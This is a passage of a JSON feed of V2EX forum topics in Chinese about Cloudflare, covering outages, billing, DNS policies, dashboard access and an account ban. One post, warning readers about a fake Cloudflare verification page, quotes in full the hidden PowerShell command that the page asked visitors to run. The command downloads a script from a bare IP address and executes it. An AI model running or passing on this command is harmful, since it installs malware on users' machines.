      "title": "cloudflare \u5e74\u5ea6\u603b\u7ed3\u6765\u4e86", 
      "id": "https://www.v2ex.com/t/1177068", 
      "date_published": "2025-12-05T02:48:51+00:00", 
      "content_html": "\u90ae\u4ef6\u6536\u5230\u4e86 cf \u7684\u5e74\u5ea6\u603b\u7ed3<br /><br />\u6ca1\u60f3\u5230\u7528\u4e86 1.9T \u7684\u5e26\u5bbd\u3002<br /><br /> <a target=\"_blank\" href=\"https://i.imgur.com/8zdhgdC.png\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/8zdhgdC.png\" class=\"embedded_image\" rel=\"noreferrer\"></a>"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/cj323", 
        "name": "cj323", 
        "avatar": "https://cdn.v2ex.com/gravatar/55d8713a4741083ba73747a518298a1f?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1177013", 
      "date_modified": "2025-12-04T20:02:34+00:00", 
      "content_html": "<p>\u597d\u5bb6\u4f19\uff0c\u624d\u77e5\u9053 cloudflare \u7684 DNS \u89e3\u6790\u8fd8\u6709\u7b56\u7565\uff0c\u800c\u4e14\u4f46\u770b\u8d77\u6765\u529f\u80fd\u5341\u5206\u5f3a\u5927\u3002\u53ef\u4ee5\u5c4f\u853d ip \uff0c\u56fd\u5bb6\uff0c\u7c7b\u578b\u3002\u751a\u81f3\u53ef\u4ee5 AND OR \u903b\u8f91\uff0c\u6bd4\u4e0d\u5c11\u4ee3\u7406\u7684 dns \u5206\u6d41\u529f\u80fd\u8fd8\u5f3a\u3002</p>\n<p>\u5927\u5bb6\u6709\u6ca1\u6709\u8bbe\u7f6e\u8fc7\u3002\u6211\u5728\u8003\u5c4f\u853d\u4e00\u4e9b\u6bd4\u8f83\u5371\u9669\u7684\u533a\u57df\uff0c\u6bd4\u5982 RU \uff0c\u518d\u5c4f\u853d\u6240\u6709\u5e26\u5b89\u5168\u9690\u60a3\u7684\u7c7b\u578b\uff0c\u6bd4\u5982\u793e\u5de5\u7c7b\u3002\u4e0d\u77e5\u9053\u8fd8\u6709\u6ca1\u6709\u4ec0\u4e48\u5176\u4ed6\u64cd\u4f5c\u3002</p>\n<p><a href=\"https://developers.cloudflare.com/cloudflare-one/traffic-policies/dns-policies/\" rel=\"nofollow\">https://developers.cloudflare.com/cloudflare-one/traffic-policies/dns-policies/</a></p>\n", 
      "date_published": "2025-12-04T20:02:08+00:00", 
      "title": "Cloudflare DNS \u89e3\u6790\u7b56\u7565", 
      "id": "https://www.v2ex.com/t/1177013"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/HUZHUANGZHUANG", 
        "name": "HUZHUANGZHUANG", 
        "avatar": "https://cdn.v2ex.com/avatar/d1a0/45d9/631654_large.png?m=1702137664"
      }, 
      "url": "https://www.v2ex.com/t/1176973", 
      "title": "\u8bf7\u95ee cloudflare \u8ba1\u8d39\u6700\u8fd1\u662f\u4e0d\u662f\u51fa\u4e86\u95ee\u9898\uff1f\u6263\u4e86\u6211 5 \u7f8e\u5143\u7684 workers \u4f1a\u5458\u8d39\uff0c paypal \u6709\u6263\u8d39\u8bb0\u5f55\uff0c\u4e5f\u6709\u53d1\u7968\uff0c\u7ed3\u679c\u663e\u793a\u6211\u8fd8\u662f\u514d\u8d39\u8ba1\u5212", 
      "id": "https://www.v2ex.com/t/1176973", 
      "date_published": "2025-12-04T11:31:46+00:00", 
      "content_html": ""
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/C64NRD", 
        "name": "C64NRD", 
        "avatar": "https://cdn.v2ex.com/avatar/dab9/cfb7/19219_large.png?m=1765471900"
      }, 
      "url": "https://www.v2ex.com/t/1176704", 
      "date_modified": "2025-12-05T00:30:06+00:00", 
      "content_html": "<p>\u6700\u8fd1\u611f\u89c9 <a href=\"https://dash.cloudflare.com/\" rel=\"nofollow\">https://dash.cloudflare.com/</a> \u5df2\u7ecf\u6210\u4e86\u6700\u96be\u8bbf\u95ee\u7684\u7f51\u9875\uff0c\u6ca1\u6709\u4e4b\u4e00\uff08\u6709\u4e9b\u7f51\u7ad9\u65e0\u6cd5\u8bbf\u95ee\u8981\u4e48\u76f4\u63a5\u62a5\u9519\uff0ccloudflare \u4e00\u76f4 loading \uff09\u3002\u6bcf\u6b21\u90fd\u5361\u5728\u201cCloudflare \u4eea\u8868\u677f\u6b63\u5728\u52a0\u8f7d\u3002\u201d\u66f4\u6362\u8282\u70b9\u4e5f\u6ca1\u6548\u679c\uff0c\u8bf7\u6559\u5927\u4f19\u6709\u4ec0\u4e48\u6280\u5de7\u5417\uff1f</p>\n<blockquote>\n<p>\u521a\u521a\u6253\u5f00\u767b\u5f55\u9875\u82b1\u4e86 40 \u591a\u79d2\uff0c\u4e00\u4e2a\u767b\u5f55\u754c\u9762\u6709 200 \u591a\u4e2a\u8bf7\u6c42\uff0c\u70b9\u4e86\u4eba\u673a\u9a8c\u8bc1\u53c8\u5361\u5728 loading \u754c\u9762 30 \u591a\u79d2\u3002\u6709\u6ca1\u6709\u53ef\u80fd\u7b49\u5f85\u672c\u8eab\u5c31\u662f\u9632\u673a\u5668\u4eba\u7684\u4e00\u4e2a\u624b\u6bb5\uff0c\u5e76\u4e0d\u662f\u670d\u52a1\u6162\u3002</p>\n</blockquote>\n", 
      "date_published": "2025-12-03T09:32:03+00:00", 
      "title": "\u8bf7\u6559\u8bbf\u95ee Cloudflare Dashboard \u7684\u6b63\u786e\u65b9\u5f0f", 
      "id": "https://www.v2ex.com/t/1176704"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/renfei", 
        "name": "renfei", 
        "avatar": "https://cdn.v2ex.com/gravatar/2a08972a89c1538ee21d680378452869?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1176691", 
      "title": "\u6211\uff0c\u5403\u9971\u4e86\u6491\u7684\u6ce8\u518c\u4e86\u4e2a\u57df\u540d\uff0c Cloudflare \u8d26\u53f7\u6ca1\u4e86\uff0c\u4e0d\u5efa\u8bae\u5c06\u57df\u540d\u653e\u5728 Cloudflare", 
      "id": "https://www.v2ex.com/t/1176691", 
      "date_published": "2025-12-03T08:37:43+00:00", 
      "content_html": "<p>2023 \u5e74 12 \u6708 22 \u65e5\uff0c\u6211\u6ce8\u518c\u4e86\u4e00\u4e2a\u57df\u540d\uff1a<a href=\"http://cloudflared.cn\" rel=\"nofollow\">cloudflared.cn</a> \uff0c\u60f3\u505a Cloudflare Tunnel \u4e2d\u6587\u7248\u6587\u6863</p>\n<p>2025 \u5e74 11 \u6708 12 \u65e5\uff0c\u6211\u6536\u5230\u4e86 Cloudflare \u7684\u7cfb\u7edf\u901a\u77e5\u90ae\u4ef6\uff0c\u544a\u8bc9\u6211\u53f7\u6ca1\u4e86</p>\n<p>\u7406\u7531\u662f\uff1a\u6211\u4eff\u5192\u548c\u4fb5\u72af\u4e86 cloudflare \u7684\u5546\u6807</p>\n<p>\u622a\u6b62\u5f53\u524d\u65f6\u95f4\uff0c\u6211\u7684\u53f7\u4f9d\u7136\u662f\u7981\u6b62\u7684\u72b6\u6001</p>\n<p>\u6211\u8d26\u53f7\u4e0b\u6240\u6709\u57df\u540d\uff0c\u7981\u6b62\u7ba1\u7406\uff0c\u4e5f\u5c31\u65e0\u6cd5\u8f6c\u51fa\uff0c\u64cd\u4f5c\u63a5\u53e3\u8fd4\u56de 403 \u72b6\u6001\uff1aRegistrar access forbidden</p>\n<p>\u6240\u4ee5\uff0c\u6211\u4e0d\u5efa\u8bae\u5c06\u57df\u540d\u653e\u5728 Cloudflare \uff0c\u8fd8\u662f\u53bb\u5176\u4ed6\u5730\u65b9\u6ce8\u518c NS \u63a5\u5165\u5427\u3002</p>\n<p>\u66f4\u8be6\u7ec6\u7684\u539f\u6587\u6211\u53d1\u5728\u6211\u535a\u5ba2\u4e86\uff1a <a href=\"https://blog.renfei.net/posts/1626402130325676137\" rel=\"nofollow\">https://blog.renfei.net/posts/1626402130325676137</a></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Zarhani", 
        "name": "Zarhani", 
        "avatar": "https://cdn.v2ex.com/avatar/7fcd/13e3/496308_large.png?m=1762129271"
      }, 
      "url": "https://www.v2ex.com/t/1176123", 
      "title": "\u542c\u8bf4 cloudflare tunnel \u53ef\u4ee5\u901a\u8fc7\u7b2c\u4e8c\u4e2a\u57df\u540d\u548c ip \u4f18\u9009\u641e\u8bbf\u95ee\u52a0\u901f\uff0c\u6709\u4eba\u505a\u8fc7\u5417\uff1f\u6548\u679c\u600e\u4e48\u6837\uff1f", 
      "id": "https://www.v2ex.com/t/1176123", 
      "date_published": "2025-12-01T06:04:32+00:00", 
      "content_html": "<p>\u542c\u8bf4 cloudflare tunnel \u53ef\u4ee5\u901a\u8fc7<strong>\u7b2c\u4e8c\u4e2a\u57df\u540d</strong>\u548c <strong>ip \u4f18\u9009</strong>\u641e\u8bbf\u95ee\u52a0\u901f\uff0c\u6709\u4eba\u505a\u8fc7\u5417\uff1f\u6548\u679c\u600e\u4e48\u6837\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Belmode", 
        "name": "Belmode", 
        "avatar": "https://cdn.v2ex.com/avatar/58c3/16c0/312499_large.png?m=1748572228"
      }, 
      "url": "https://www.v2ex.com/t/1175896", 
      "date_modified": "2025-12-02T07:26:23+00:00", 
      "content_html": "<p>\u60f3\u8981\u5f00\u901a cf \u7684\u4ed8\u8d39\u7b56\u7565\uff0c\u4f46\u662f\u82e6\u4e8e\u6ca1\u6709\u5916\u5e01\u5361\uff0c\u73b0\u5728\u8fd8\u6709\u4ec0\u4e48\u865a\u62df\u5361\u80fd\u8fc7 CF \u6216\u8005 ChatGPT \u5417\uff0c\u80fd\u6301\u7eed\u8ba2\u9605\u7684\u90a3\u79cd\u3002\n\ud83d\ude4f\ud83d\ude4f\ud83d\ude4f</p>\n", 
      "date_published": "2025-11-30T01:24:23+00:00", 
      "title": "\u60f3\u8981\u5f00\u901a cf \u7684\u4ed8\u8d39\u7b56\u7565\uff0c\u4f46\u662f\u82e6\u4e8e\u6ca1\u6709\u5916\u5e01\u5361", 
      "id": "https://www.v2ex.com/t/1175896"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/sudoy", 
        "name": "sudoy", 
        "avatar": "https://cdn.v2ex.com/avatar/4964/914e/412163_large.png?m=1667207619"
      }, 
      "url": "https://www.v2ex.com/t/1175513", 
      "date_modified": "2025-11-28T10:48:48+00:00", 
      "content_html": "<p>\u6700\u8fd1\u7528 cloudflare workers \u642d\u5efa\u4e86\u4e00\u4e2a\u535a\u5ba2\uff0c\u4e0d\u7ba1\u662f\u672c\u5730\u7528 chrome \u8dd1 lighthouse \u8fd8\u662f\u7528 pagespeed.web.dev \u8dd1\u6d4b\u8bd5\uff0cperformance \u90a3\u91cc\u5206\u6570\u4e00\u76f4\u4e0a\u4e0d\u6765\uff0cLCP \u54cd\u5e94\u5341\u51e0\u79d2\u949f\uff0c\u6211\u6539\u6210\u7528 cloudflare images \u4f5c\u4e3a\u56fe\u7247\u6258\u7ba1\u4f9d\u7136\u5206\u6570\u5f88\u4f4e\uff0c\u4e0d\u77e5\u9053\u600e\u4e48\u4f18\u5316\u4e86\uff0c\u8bf7\u5927\u4f6c\u4eec\u8d50\u6559\uff0c\u611f\u8c22\uff01\u6211\u4e4b\u524d\u7528 netlify \u642d\u5efa\u7684\u4e00\u4e2a\u9759\u6001\u7f51\u7ad9\u901f\u5ea6\u7279\u522b\u5feb\uff0c\u6309\u7406\u8bf4 cloudflare workers \u5c5e\u4e8e\u8fb9\u7f18\u8ba1\u7b97\u5e94\u8be5\u66f4\u5feb\u624d\u5bf9\u3002\u5bf9\u4e86\uff0c\u6211\u6d4b\u8bd5\u4e86\u56fd\u5185\u5916 IP \u90fd\u662f\u5206\u6570\u5f88\u4f4e\u3002</p>\n", 
      "date_published": "2025-11-27T14:42:30+00:00", 
      "title": "cloudflare workers \u642d\u5efa\u7684\u535a\u5ba2\u901f\u5ea6\u6162\u600e\u4e48\u4f18\u5316", 
      "id": "https://www.v2ex.com/t/1175513"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/liyafe1997", 
        "name": "liyafe1997", 
        "avatar": "https://cdn.v2ex.com/avatar/524e/7d08/32249_large.png?m=1764082065"
      }, 
      "url": "https://www.v2ex.com/t/1175038", 
      "date_modified": "2025-11-25T15:04:13+00:00", 
      "content_html": "<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.v2ex.co/ECTAe252.png\"/></p>\n<p>\u8ba9\u6211\u6267\u884c\u7684\u547d\u4ee4</p>\n<pre><code>powershell -w h -c \"$u='http://83.217.209.227/2UP.lim';$p=\\\"$env:USERPROFILE\\Music\\d.ps1\\\";(New-Object System.Net.WebClient).DownloadFile($u,$p);powershell -w h -ep bypass -f $p\"\n</code></pre>\n<p>\u6211\u8fd8\u60f3\u7740 CF \u4ec0\u4e48\u65f6\u5019\u8fd9\u4e48\u72e0\u4e86\uff0c\u5c45\u7136\u8ba9\u7528\u6237\u6267\u884c Shell \u9a8c\u8bc1\uff08\u7b2c\u4e00\u53cd\u5e94\u4ee5\u4e3a\u662f\u60f3\u8ba9\u7528\u6237\u901a\u8fc7 Shell \u5f80\u670d\u52a1\u5668\u4e0a POST \u4e00\u4e9b\u4e1c\u897f\u6765\u8bc1\u660e\u4e0d\u662f robot \uff09\uff0c\u770b\u5230\u8fd9\u91cc\u9762\u7684 URL \u5c45\u7136\u76f4\u63a5\u7528 IP \u5730\u5740\u800c\u4e14\u6ca1\u6709 https \uff0c\u8fd8\u597d\u591a\u4e86\u4e2a\u5fc3\u773c\u3002</p>\n<p>\u60f3\u770b\u770b\u8fd9\u811a\u672c\u5230\u5e95\u662f\u5565\uff0c\u76f4\u63a5\u6253\u5f00\u4e0a\u9762\u90a3\u4e2a URL \u88ab\u5361\u5df4\u65af\u57fa\u62e6\u622a\u4e86\u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.v2ex.co/3NHXmkbE.png\"/></p>\n<p>\u4e0d\u8fc7\u73b0\u5728\u597d\u50cf\u5df2\u7ecf 404 \u4e86\uff0c\u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u4f1a\u5224\u65ad UA \u5565\u7684\uff0c\u7528\u6d4f\u89c8\u5668\u6253\u5f00\u5c31 404 \u3002</p>\n<p>\u5173\u952e\u662f\uff0c\u8fd9\u7406\u5e94\u662f\u4e2a\u6b63\u89c4\u7ad9\uff08\u6240\u4ee5\u4e00\u5f00\u59cb\u6211\u5fc3\u7406\u6ca1\u8bbe\u9632\uff09\uff0c\u96be\u9053\u662f\u88ab\u9ed1\u4e86\uff1f</p>\n", 
      "date_published": "2025-11-25T14:58:00+00:00", 
      "title": "\u78b0\u5230\u4e86\u4f2a\u88c5 Cloudflare \u9493\u9c7c\u9a8c\u8bc1\uff0c\u5dee\u70b9\u4e2d\u62db", 
      "id": "https://www.v2ex.com/t/1175038"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/chengrui0428", 
        "name": "chengrui0428", 
        "avatar": "https://cdn.v2ex.com/gravatar/21faaad61f8252c6ad2997deab8561a9?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1174198", 
      "title": "\u5c1d\u8bd5\u590d\u73b0 Cloudflare 2025-11-18 \u7684\u6545\u969c", 
      "id": "https://www.v2ex.com/t/1174198", 
      "date_published": "2025-11-21T05:14:54+00:00", 
      "content_html": "<p>cloudflare \u7684\u6545\u969c\u62a5\u544a\u5199\u7684\u660e\u786e\u548c\u6e05\u6670\uff0c\u6240\u4ee5\u6211\u5728\u81ea\u5df1\u7684\u7406\u89e3\u57fa\u7840\u4e0a\uff0c\u51c6\u5907\u5c1d\u8bd5\u590d\u73b0\u8fd9\u6b21\u6545\u969c</p>\n<p>\u6211\u5df2\u7ecf\u5b8c\u6210\u4e86\uff1a</p>\n<ul>\n<li>ck \u96c6\u7fa4</li>\n<li>\u6743\u9650\u53d8\u66f4\u89e6\u53d1\u6570\u636e\u7ffb\u500d</li>\n<li>\u7f13\u5b58\u4f20\u64ad</li>\n<li>\u672a\u53d7\u5f71\u54cd\u7684\u4ee3\u7406\u670d\u52a1</li>\n<li>\u673a\u5668\u4eba\u9519\u8bef\u6253\u5206\u7684\u4ee3\u7406\u670d\u52a1</li>\n</ul>\n<p>TODO: </p>\n<ul>\n<li>\u9884\u5206\u914d\u7f13\u5b58\u65f6\u7684 unwrap panic</li>\n<li>\u5b8c\u6574\u6f14\u793a\u6574\u4e2a\u6545\u969c\u8fc7\u7a0b</li>\n</ul>\n<p><a href=\"https://github.com/Laotree/reproduce_cf20251118\" rel=\"nofollow\">https://github.com/Laotree/reproduce_cf20251118</a></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Netjue", 
        "name": "Netjue", 
        "avatar": "https://cdn.v2ex.com/gravatar/40f02543891f4bb31ab8232980e02002?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1173835", 
      "title": "(\u6c42\u52a9) \u5982\u4f55\u9690\u85cf OSS \u62a5\u9519\u4fe1\u606f\u4e2d\u7684 Bucket \u57df\u540d", 
      "id": "https://www.v2ex.com/t/1173835", 
      "date_published": "2025-11-19T14:18:36+00:00", 
      "content_html": "<p>\u5728\u4f7f\u7528 Cloudflare \u4f5c\u4e3a CDN \u56de\u6e90 OSS \u7684\u8fc7\u7a0b\u4e2d\uff0c\u5f53 OSS \u8fd4\u56de\u9519\u8bef\uff08\u5982 404 / 403 \u7b49\uff09\u65f6\uff0c\u54cd\u5e94\u5185\u5bb9\u4f1a\u76f4\u63a5\u66b4\u9732 OSS \u7684 Bucket \u57df\u540d\u3002\n\u51fa\u4e8e\u5b89\u5168\u4e0e\u9690\u79c1\u8003\u8651\uff0c\u6211\u5e0c\u671b\u80fd\u591f\u5728 Cloudflare \u4fa7\u8fdb\u884c\u5904\u7406\uff0c\u7981\u6b62\u628a OSS \u8fd4\u56de\u7684\u539f\u59cb\u62a5\u9519\u4fe1\u606f\u76f4\u63a5\u5c55\u793a\u7ed9\u7528\u6237\uff0c\u907f\u514d\u6cc4\u9732 Bucket \u7684\u771f\u5b9e\u57df\u540d\u3002</p>\n<p>\u8bf7\u95ee\u662f\u5426\u6709\u529e\u6cd5\u901a\u8fc7\u4ec0\u4e48\u624b\u6bb5\u6765\u62e6\u622a\u6216\u8005\u81ea\u5b9a\u4e49 OSS \u9519\u8bef\u54cd\u5e94\uff0c\u4ece\u800c\u9690\u85cf Bucket \u4fe1\u606f\uff1f</p>\n<p>\u611f\u8c22\u5404\u4f4d\u7684\u5e2e\u52a9\uff01</p>\n<p><img alt=\"da89dc08bc6f5671fe3b51610fa6b37d.png\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://t.nsa.cc/d/BQACAgEAAxkDAAJEn2kd0GZHlLRx4LVgTv5P7XHgr7xtAALzBQACLvfxROL6mnzRtKMBNgQ\"/></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/ludyleocn", 
        "name": "ludyleocn", 
        "avatar": "https://cdn.v2ex.com/avatar/eb41/cc9c/400437_large.png?m=1711431245"
      }, 
      "url": "https://www.v2ex.com/t/1173775", 
      "date_modified": "2025-11-20T05:05:48+00:00", 
      "content_html": "\u5982\u9898\uff0c\u4e0d\u77e5\u9053\u6709\u6ca1\u6709\u5927\u795e\u6709\u7814\u7a76\u8fc7\u8fd9\u65b9\u9762\u3002\u767e\u5ea6\u641c\u90fd\u662f\u5173\u6389 SSL \uff0c\u4f46\u662f\u4f7f\u7528 CF \u4ee3\u7406\u4ecd\u7136\u88ab https \u8f6c\u8df3\u3002\u6709\u5177\u4f53\u7684\u8bbe\u7f6e\u8981\u6ce8\u610f\u7684\u5417\u3002", 
      "date_published": "2025-11-19T07:51:00+00:00", 
      "title": "\u4f7f\u7528 CloudFlare\uff0c\u5982\u4f55\u5f7b\u5e95\u4e0d\u4f7f\u7528\u4ed6\u7684 https\uff1f", 
      "id": "https://www.v2ex.com/t/1173775"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/ks3825", 
        "name": "ks3825", 
        "avatar": "https://cdn.v2ex.com/avatar/2285/65cd/92481_large.png?m=1763528095"
      }, 
      "url": "https://www.v2ex.com/t/1173729", 
      "title": "\u8fd9\u6b21 Cloudflare \u5b95\u673a\u4e00\u4e2a\u6709\u8da3\u7684\u70b9", 
      "id": "https://www.v2ex.com/t/1173729", 
      "date_published": "2025-11-19T04:55:59+00:00", 
      "content_html": "\u72ec\u7acb\u90e8\u7f72\u7684 cloudflarestatus \u4e5f\u6302\u4e86\u4e00\u9635\u5b50\uff0c\u7136\u540e\u5bfc\u81f4\u4e8b\u6545\u524d\u671f cf \u56e2\u961f\u66f4\u52a0\u786e\u4fe1\u8fd9\u662f\u4e00\u6b21\u9488\u5bf9 cf \u7684\u7f51\u7edc\u653b\u51fb\ud83d\ude02\u3002<br /><br /><a target=\"_blank\" href=\"https://i.imgur.com/QZrBYYG.png\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/QZrBYYG.png\" class=\"embedded_image\" rel=\"noreferrer\"></a><br /><br />\u6628\u665a\u4e0a\u6211\u4e5f\u53d1\u73b0\u51e0\u6b21\u6253\u5f00 cf status \u9875\u9762 css \u6837\u5f0f\u4e22\u5931\u4e86\uff0c\u5bfb\u601d\u8fd9\u70b8\u7684\u771f\u662f\u5f7b\u5e95 hh<br /><br />\u4eca\u5929 cf CEO \u5728\u63a8\u4e0a\u89e3\u91ca\u8bf4\u662f\u56e0\u4e3a\u592a\u591a\u4eba\u6d8c\u5165 cf status \uff0c\u628a\u9875\u9762\u7ed9\u538b\u7206\u4e86\ud83d\ude02<br /><br /><a target=\"_blank\" href=\"https://i.imgur.com/th19PSD.png\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/th19PSD.png\" class=\"embedded_image\" rel=\"noreferrer\"></a>"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Cert", 
        "name": "Cert", 
        "avatar": "https://cdn.v2ex.com/avatar/2668/a37c/207432_large.png?m=1769180066"
      }, 
      "url": "https://www.v2ex.com/t/1173603", 
      "title": "\u79fb\u52a8\u3001\u7535\u4fe1\u3001\u8054\u901a\u7684\u56fa\u5b9a\u5bb6\u5ead\u5bbd\u5e26\uff0c\u8bbf\u95ee Cloudflare \u5f97\u5230\u662f\u7f8e\u56fd\u7684 CDN \u8282\u70b9\uff08\u8de8\u8d8a\u6574\u4e2a\u592a\u5e73\u6d0b\uff09\uff1f \u800c\u4e0d\u662f\u4e2d\u56fd\u5468\u8fb9\u5982\uff1a\u9996\u5c14\u3001\u4e1c\u4eac\u3001\u9999\u6e2f \u8fd9\u6837\u7684\u5ef6\u8fdf\u4f4e\u7684\u8282\u70b9\uff1f", 
      "id": "https://www.v2ex.com/t/1173603", 
      "date_published": "2025-11-18T14:46:20+00:00", 
      "content_html": "<p>\u77e5\u9053\u201c\u4e16\u754c\u52a0\u94b1\u53ef\u53ca\u201d\u7684\u9053\u7406\uff0c\u8bf7\u5927\u5bb6\u4e0d\u8981\u6307\u8d23\u535a\u4e3b\uff0c\u5f52\u56e0\u4e3a\u4f60\u5bbd\u5e26\u592a\u4fbf\u5b9c\u4e86\u3002</p>\n<p>\u90a3\u79cd\u9ad8\u6863\u5546\u7528\u5bbd\u5e26\uff0c\u9700\u8981\u8425\u4e1a\u6267\u7167\uff0c\u666e\u901a\u5bb6\u5ead\u4e5f\u6ca1\u6709\u529e\u6cd5\u529e\u7406\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/haoooooooo", 
        "name": "haoooooooo", 
        "avatar": "https://cdn.v2ex.com/gravatar/debfeb166f8f6cd4eebe9a9791d457d0?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1173594", 
      "date_modified": "2025-11-18T12:36:01+00:00", 
      "content_html": "<p>\u611f\u89c9\u51e0\u4e4e\u6bcf\u5e74\u90fd\u80fd\u6574\u70b9\u4e8b\u6545\u51fa\u6765\uff0c\u6216\u5927\u6216\u5c0f\uff0c\u6709\u65f6\u5019\u771f\u7684\u8ba9\u4eba\u6349\u6025\uff0c\u5565\u65f6\u5019\u624d\u80fd\u7a33\u91cd\u70b9\u3002\u3002\u3002\u3002</p>\n", 
      "date_published": "2025-11-18T12:19:56+00:00", 
      "title": "Cloudflare \u600e\u4e48\u7ed9\u4eba\u4e00\u79cd\u8349\u53f0\u73ed\u5b50\u7684\u611f\u89c9\uff1f", 
      "id": "https://www.v2ex.com/t/1173594"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/sampeng", 
        "name": "sampeng", 
        "avatar": "https://cdn.v2ex.com/gravatar/3b198446b72d1e5a3b0090f106a75f3c?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1173586", 
      "title": "cloudflare \u5168\u7403\u6302\u4e86\uff1f\uff1f", 
      "id": "https://www.v2ex.com/t/1173586", 
      "date_published": "2025-11-18T11:49:04+00:00", 
      "content_html": "<p>\u7a81\u7136\u544a\u8b66\u6765\u4e86\uff0c\u53d1\u73b0\u7f51\u7ad9\u6ca1\u6d41\u91cf\u4e86</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/lister", 
        "name": "lister", 
        "avatar": "https://cdn.v2ex.com/avatar/e46c/5d3e/316023_large.png?m=1729601998"
      }, 
      "url": "https://www.v2ex.com/t/1173585", 
      "title": "cloudflare \u70b8\u4e86\uff1f", 
      "id": "https://www.v2ex.com/t/1173585", 
      "date_published": "2025-11-18T11:48:57+00:00", 
      "content_html": ""
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/unianx", 
        "name": "unianx", 
        "avatar": "https://cdn.v2ex.com/avatar/47e3/246b/547867_large.png?m=1727399456"
      }, 
      "url": "https://www.v2ex.com/t/1168353", 
      "date_modified": "2025-10-25T15:51:10+00:00", 
      "content_html": "", 
      "date_published": "2025-10-25T13:48:35+00:00", 
      "title": "\u5927\u4f6c\u4eec\u6709\u6ca1\u6709\u9047\u5230\u8fc7 Cloudflare \u7eed\u8ba2\u57df\u540d 504\uff1f\u6362\u4e86\u597d\u51e0\u4e2a\u5361\u90fd\u4e0d\u884c\uff0c Paypal \u4e5f\u5c1d\u8bd5\u4e86", 
      "id": "https://www.v2ex.com/t/1168353"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/HelloAmadeus", 
        "name": "HelloAmadeus", 
        "avatar": "https://cdn.v2ex.com/avatar/49e6/f706/188544_large.png?m=1685966663"
      }, 
      "url": "https://www.v2ex.com/t/1167414", 
      "date_modified": "2025-10-21T11:43:21+00:00", 
      "content_html": "<p>\u53d1\u751f\u4e86\u4e00\u4ef6\u5947\u602a\u7684\u4e8b\u60c5\uff0ccloudflare \u6ce8\u518c\u7684\u57df\u540d\u4eca\u5929\u7a81\u7136 dns \u89e3\u6790\u51fa\u95ee\u9898\u4e86\uff0c\u770b\u7740\u50cf\u88ab\u6c61\u67d3\u68c0\u6d4b\u4e86\uff0c\u90fd\u88ab\u8f6c\u5230\u8fd9 2 \u4e2a ip \u4e86\u3002\n104.21.49.209[Cloudflare, Inc.]\n172.67.193.139[Cloudflare, Inc.]</p>\n<p>\u8bd5\u4e86\u4e0b\u7f51\u4e0a dns \u6c61\u67d3\u68c0\u6d4b\u5de5\u5177\uff0c\u4e0d\u5149\u56fd\u5185\uff0c\u6d77\u5916\u4e5f\u662f\u90fd\u89e3\u6790\u5230\u4e86\u8fd9 2 \u4e2a IP \u3002\n\u600e\u4e48\u611f\u89c9\u50cf\u4e0a\u6b21\u963f\u91cc\u4e91\u7684\u6545\u969c\u4e00\u6837\uff0c\u5927\u5bb6\u6709\u5934\u7eea\u5417\uff1f</p>\n", 
      "date_published": "2025-10-21T11:35:38+00:00", 
      "title": "cloudflare \u57df\u540d\u89e3\u6790\u9519\u8bef\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/1167414"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/lewiet", 
        "name": "lewiet", 
        "avatar": "https://cdn.v2ex.com/avatar/afa2/bae4/636071_large.png?m=1759987992"
      }, 
      "url": "https://www.v2ex.com/t/1163881", 
      "date_modified": "2025-10-09T05:39:33+00:00", 
      "content_html": "<p>\u5148\u8bf4\u660e\u4ee3\u7801\u662f\u51e0\u5e74\u524d Worker \u4e0a\u7528\u8fc7\u6ca1\u95ee\u9898\u7684\u3002</p>\n<p>Encode \u7528 UTF8 \uff0cEOL \u4f7f\u7528 Win(CR/LF)\u548c Unix(LF)\u90fd\u8bd5\u8fc7\u3002</p>\n", 
      "date_published": "2025-10-09T05:37:57+00:00", 
      "title": "Worker \u7684 Editor \u8d34\u5165\u4ee3\u7801\u540e\u600e\u4e48\u603b\u662f\u5931\u53bb\u683c\u5f0f\uff0c\u5168\u90e8\u8fde\u6210\u4e00\u6761", 
      "id": "https://www.v2ex.com/t/1163881"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Zane3", 
        "name": "Zane3", 
        "avatar": "https://cdn.v2ex.com/avatar/7b5e/60bb/508109_large.png?m=1758772314"
      }, 
      "url": "https://www.v2ex.com/t/1163843", 
      "date_modified": "2025-10-12T01:13:58+00:00", 
